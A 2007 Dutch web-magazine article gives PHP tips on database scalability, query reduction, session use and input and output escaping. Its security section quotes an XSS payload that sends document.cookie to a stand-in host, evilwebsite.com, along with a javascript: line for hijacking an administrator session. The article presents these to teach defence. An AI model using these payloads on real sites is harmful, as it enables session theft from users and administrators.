» direct naar zoek en menu

Tijdschrift voor webwerkers » Artikel #142

Schaalbaarheid - Best practices voor veilige en schaalbare PHP-applicaties

Onlangs heb ik me een tijdje beziggehouden met het nakijken van diverse stukken door anderen geschreven code. Hierin vielen mij een aantal universele zaken op, die voor elke programmeur van belang zouden moeten zijn. Omdat het in mijn ogen nooit kwaad kan om dit soort lijsten met ideeën en aandachtspunten door te nemen, wil ik ze graag hier bespreken. Daarom dit verhaal rechtstreeks vanuit de dagelijkse praktijk, zeg maar ter lering ende vermaeck.

De grootste problemen die ik tegenkwam zitten vaak niet de code zelf, maar in de schaalbaarheid ervan. Sta je daar niet bij stil, dan groeit een supergoed lopend klein project na de ongetwijfeld nodige schaalvergrotingen uit tot een gedrocht van een site/applicatie. Een mooi voorbeeld hiervan is Hyves. Natuurlijk een leuk en succesvol concept, maar omdat het codetechnisch bij de start niet allemaal even goed doordacht was, ontkwamen ze er niet aan bij meer bezoekers simpelweg meer servers erbij te plaatsen. Nu is meer servers toevoegen op zich niet zo’n ramp. Maar wanneer het er — zoals bij Hyves — meer dan 570 zijn, dan moeten er toch wel alarmbellen gaan rinkelen. Dan kun je beter werken aan een goed doordachte versie 2.0.

Wanneer een project gestart wordt en het ‘risico’ erin zit dat bij succes bijvoorbeeld 10.000 pageviews per minuut geserveerd moeten worden, dan vraagt dat om andere keuzes dan wanneer je zeker weet dat je maximaal 100 pageviews per minuut zult krijgen. De verwachtte schaalgrootte is essentieel bij het maken van bepaalde designkeuzes.

Om te beginnen moet je weten dat het meest onschaalbare van een systeem doorgaans de database is. Wanneer bepaalde bestanden vaker dan verwacht worden opgevraagd, is het relatief eenvoudig om dit te ondervangen met meerdere ‘replicating fileservers’. Bij databases ligt het wat ingewikkelder.

Wanneer een database te vaak opgevraagd wordt, is er een aantal mogelijke oplossingen. Functioneel kunnen bepaalde onderdelen van een applicatie in een andere database ondergebracht worden. Bij eBay is er bijvoorbeeld een verschil tussen de database waarop de veilingsite draait en die waar de gebruikersgegevens in staan. Vrij logisch. Een andere mogelijkheid, vooral wanneer de totale database niet heel veel diskspace inneemt, is om de database zelf te repliceren. Dit wordt gedaan door alle INSERT, UPDATE, DELETE, ALTER, REPLACE INTO queries naar de ‘master’-database te sturen, terwijl de SELECT-queries naar een ‘slave’-server gaan. Op de ‘master’ draait dan een proces dat bijhoudt of er data geïnsert wordt. Indien dat het geval is verspreidt dat script de data naar de ‘slaves’. Het ‘loadbalancen’ en opdelen van databases is echter iets wat je volgens mij zo lang mogelijk wilt uitstellen. De kans op fouten, synchonisatieproblemen en dergelijke wordt namelijk stukken groter. En de extra tijd die nodig is in het beheer van de servers is ook niet onbelangrijk.

Daarom hier een lijst van dingen die je — als je zoveel mogelijk pageviews uit één server wilt halen — niet moet doen. En daarnaast enkele tips om veilig om te gaan met door gebruikers aangeleverde gegevens.

De database als harde schijf gebruiken

Een veelgemaakte fout is dat een programmeur op een lokale machine resources te over heeft en indien er gegevens uit de database nodig zijn deze zonder problemen on-the-fly kan opvragen. Het nadeel is dat er - omdat dat lokaal zo lekker snel werkt — voor één pageview misschien wel tien keer bepaalde basiszaken opgevraagd worden. Een voorbeeld: "SELECT name FROM category WHERE id ='12' LIMIT 0,1", gevolgd door "SELECT content FROM category WHERE id ='12' LIMIT 0,1". Werkt prima en wordt veel gebruikt. Maar is uiteraard onbruikbaar als je je systeem wil laten schalen. Het is daarom mijn tip om tijdens het ontwikkelen de databasewrapper af en toe queries op het scherm te laten printen zodat inzichtelijk wordt wat er voor die ene pageview nodig is. Dit geeft meer informatie over wat er nodig is om die ene pagina te genereren. En drukt je wellicht met de neus op de feiten.

Te veel queries

Een veelgemaakte ‘fout’ is dat moeilijke queries meerdere keren worden uitgevoerd, om zo de query en de code netjes te houden. In veel gevallen is met wat slim nadenken vaak slechts één query te bedenken en naar de database te sturen, en niet de spreekwoordelijke twintig die anders nodig zouden zijn. Een goed voorbeeld is het printen van een F.A.Q., met de vragen mooi verdeeld in verschillende categorieën.

Voorbeeld

->"SELECT * FROM faq_cat ORDER BY name ASC"
foreach($catresult as $cat)
{
 print $cat['name'];
 ->"SELECT * FROM faq WHERE cat_id = '".mysql_real_escape_string($cat['id'])."' ORDER BY name ASC"

 foreach($faqresult as $faq)
 {
   print $faq['name'];
   print $faq['content'];
 }
}

De fout hier is dat in een testomgeving met bijvoorbeeld drie testcategorieën, dit uitstekend werkt. Er worden dan 1+3=4 queries naar de database gestuurd. Prima. Echter, in een online omgeving die bijvoorbeeld een half jaar in de lucht is zijn er misschien inmiddels 14 categorieën. Dat betekent dat er 1+14 = 15 queries naar de database gaan die vrijwel allemaal identiek zijn. En het is makkelijk in te denken hoe de performance is wanneer je na een jaar 100 categorieën hebt!

Dit is op te lossen door een andere query te maken en het printen van de data om te schrijven, zodat er nog maar één query wordt uitgevoerd.

"SELECT
 c.name as catname
 ,f.id
 ,f.cat_id
 ,f.name
 ,f.content
FROM faq f
INNER JOIN faq_cat c ON c.id = f.cat_id
ORDER BY f.catname ASC, f.cat_id ASC, f.name ASC"

$cur_catid = -1;
foreach($result as $row)
{
 if($row['cat_id'] != $cur_catid)
 {
   print $row['catname'];
   $cur_catid = $row['cat_id'];
 }
 print $row['name'];
 print $row['content'];
}

Niet veel complexer, maar heel erg veel sneller!

Wanneer je als programmeur jezelf er op betrapt een for-lus te gebruiken vanwege het gemak, dan is het verstandig om nog wat beter over de query na te denken in plaats van tevreden zijn met een oplossing die goed lijkt te werken, maar in feite heel erg slecht is voor de performance van een database.

Veelgebruikte gegevens telkens weer opvragen

Wanneer een systeem gemaakt wordt waarbij gebruikers moeten inloggen is het verstandig om met sessies te werken. Alle veelbenodigde gegevens zoals gebruikersnaam, last-login, gebruikers-id, usergroups e.d. kunnen dan in een sessie opgeslagen worden. Aangezien de code zo is geschreven dat de sessie-variabele met daarin de gebruikers-id, alleen wordt aangemaakt wanneer iemand inlogt en vervolgens verwijderd wordt wanneer iemand uitlogt, is het vervolgens vaak nergens meer voor nodig om bij elke pageview een call naar de user-table te maken om te checken of de gebruiker ‘wel bestaat’.

Indien het echt noodzakelijk is om een realtime status te hebben (gebruikers activeren/deactiveren) is het verstandig in de sessie de 'lastchecktime' op te nemen. Wanneer deze dan langer geleden is dan bijvoorbeeld 60 seconden kan er weer een query met check naar de database verstuurd worden. Op deze manier minimaliseer je het aantal database-calls drastisch.

Door gebruikers ingevoerde data vertrouwen

Tijdens het reviewen van de code vielen me ook fouten op met betrekking tot het omgaan met door gebruikers ingevoerde data, ook een belangrijk onderwerp en dus zeker iets voor in dit artikel. Ik begin dan ook meteen maar met het uitgangspunt: vertrouw ingevoerde data nooit. Bij applicaties is het gebruikelijk dat er veel data in de database gezet wordt en dat het er ook weer uit moet komen. Om te voorkomen dat een gebruiker ‘vervelende’ code kan uitvoeren is het nodig dat bij het programmeren altijd wantrouwend wordt omgegaan met de ingevoerde data.

Om bijvoorbeeld ‘SQL-injection’ te voorkomen kan bij PHP gebruik gemaakt worden van de functie mysql_real_escape_string. Bij elke query die naar de database gaat en wanneer onderdelen van de query dynamisch zijn, moet deze functie altijd gebruikt worden. Wat deze functie namelijk doet, is bepaalde karakters escapen zodat userdata niet conflicteert met de query die je wilt draaien.

Het is aan te raden om altijd elke variabele tussen quotes te zetten. Een voorbeeld:

$id = isset($_GET['id'])? $_GET['id'] : -1;
-> "SELECT * FROM news WHERE id='".mysql_real_escape_string($id)."' LIMIT 0,1"

Indien de $id hier bijvoorbeeld 34 is krijg je de volgende query:
-> "SELECT * FROM news WHERE id='34' LIMIT 0,1"

Wanneer de $id hier bijvoorbeeld een string met de content 'foo' is krijg je de volgende query:
-> "SELECT * FROM news WHERE id='foo' LIMIT 0,1"

Dit levert uiteraard 0 resultaten op, maar aangezien 'foo' netjes tussen quotes staat wordt de query zonder problemen uitgevoerd. Een voorbeeld van de 'verkeerde' query zonder quotes:
-> "SELECT * FROM news WHERE id=foo LIMIT 0,1"

Dit zal een foutmelding geven, met als gevolg dat je niet 0 resultaten krijgt, maar een SQL-warning. Die waarschuwing kan een bezoeker veel waardevolle informatie geven over de database, met alle risico’s van dien!

Natuurlijk is het — los van het bovenstaande — natuurlijk altijd verstandig de data eerst zelf te checken voordat het naar de database gaat.

$id = isset($_GET['id'])? intval($_GET['id']) : -1;

Met intval() zorg je er voor dat wat er ook ingevoerd wordt het altijd een integer is.

Gegevens uit de database printen

Zeer gevaarlijke bugs zit vaak in de kleinste dingen. Vaak gaan programmeurs er vanuit dat wanneer er data uit een database komt deze ‘veilig’ is. Niets is minder waar.

Het is van belang om schone data in de database te hebben en dat er HTML geprint wordt. Bijvoorbeeld:

In de database: "René de Vries" Op het scherm : "René de Vries"

Wordt bovenstaande stap, HTML-entities vervangen, overgeslagen dan is het mogelijk om zonder veel moeite sessies te kapen van bijvoorbeeld administrators in een online systeem. De meest makkelijke manier om te checken of een applicatie dit netjes afvangt is door zelf een stukje HTML te printen in bijvoorbeeld het adresveld van je profiel in het systeem waarin dit mogelijk is.

Zet je “test <strong>HTML</strong> test” in je profiel en zie je op je overzicht pagina netjes “test HTML test” staan met “HTML” dikgedrukt, dan weet je dat het foute boel is.

Niet omdat je nu de opmaak aan kunt passen op manieren die wellicht niet zo bedoeld zijn, maar ook omdat het bijvoorbeeld mogelijk is JavaScript uit te voeren! Wat dan? Nou, bijvoorbeeld:

"<script>alert(document.cookie);</script>"

Dat geeft een mooie alert met daarin alle cookie-informatie.

Bij crosssite-scripting is het gebruikelijk om een stuk code te inserten zoals:

"<script>document.write("<img src='http://www.evilwebsite.com/getdata.php?"+document.cookie+"' />");</script>"

Wat deze code doet is een image tag aanmaken met als querystring de inhoud van je cookies van die website. Het getdata.php script vangt de cookie af en mailt de ‘hacker’ de cookiegegevens door. O ja, en geeft een lege één pixel grote afbeelding terug, zodat het niet opvalt. Wanneer een administrator vervolgens op deze vriendelijk uitziende pagina komt, wordt de kwaadaardige code uitgevoerd en worden de gegevens van de sessie van die administrator verstuurd. Het enige wat de ‘hacker’ dan nog hoeft te doen is naar de website te gaan en een commando als dit uit te voeren:

"javascript:void(document.cookie="PHPSESSID=c790292d99ccdb43fe61606950b8ebfb");"

Wanneer het binnen de tijd gebeurt van de sessie-timeout is de ‘hacker’ ineens ingelogd als administrator en kan hij/zij alles met het systeem doen.

Laatste tips

Zet foutlogging eens aan, zodat alle meldingen op het scherm of in je logbestand zichtbaar worden. Elke melding is eigenlijk een programmeerfout. Een programmeerfout die zó vaak gedaan is dat de makers van PHP er een dynamische oplossing voor hebben gemaakt. Fijn dat het dan werkt, maar dit vreet onzichtbaar toch resources. Het is daarom belangrijk om elke melding te voorkomen.

Veelvoorkomende meldingen hebben met het volgende te maken:

Een variabele aan elkaar plakken zonder dat deze is aangemaakt:

$var.= "test";
-> $var = "";
-> $var.= "test";

Een variabele gebruiken zonder dat je zeker weet of deze wel bestaat:

$zoekwoord = $_GET['q'];
-> $zoekwoord = isset($_GET['q'])? $_GET['q'] : "";

Arrays zonder quotes:

$var = "Ik heb ".$arr[aantal]." dingen gevonden";
-> $var = "Ik heb ".$arr['aantal']." dingen gevonden";
-> of: $var = "Ik heb {$arr['aantal']} dingen gevonden";

Tot slot

PHP is een zeer gemakkelijke en laagdrempelige taal om te leren en snel aan de slag te gaan. Dit is ook meteen het gevaar. Waar Java niet eens compileert en Perl in strictmode weigert verder te gaan, gaat PHP ondanks alle meldingen e.d. gewoon lekker verder met wat je het opdraagt te doen.

Belangrijk is dat je als programmeur constant bezig bent met jezelf af te vragen of het wel goed, resource-extensief en veilig is wat je maakt. Wanneer je bepaalde designkeuzes onderbouwd kan uitleggen aan een andere programmeur ben je op de goede weg. Wanneer de enige onderbouwing iets is als ‘Ik dacht dat dit handiger was, niet dan?’ dan moet je bij jezelf te raden gaan waar je mee bezig bent en welk einddoel je voor ogen hebt.

Meer lezen?

Auteur

Peter de Blieck

is één van de twee oprichters van Paragin, een bedrijf uit Putten dat zich richt op het ontwikkelen van innovatieve internetsoftware, online communities en (verticale) zoekmachines.

Onder meer de onderwijssoftware van Remindo, de zoekmachine LegalAlert.nl, de techniek van Shotcode en PHONifier en online social communities van het Ministerie van Economische Zaken, de Erasmus Universiteit, New Venture, KPN en de Nederlandse Spoorwegen zijn van hun hand.

Publicatiedatum: 15 oktober 2007

Let op

Naar Voren is op 18 juli 2010 gestopt met publiceren. De artikelen staan als een soort archief online. Het kan dus zijn dat de informatie verouderd is en dat er inmiddels veel betere of makkelijkere manieren zijn om je doel te bereiken.

Copyright © 2002-heden » NAAR VOREN en de auteurs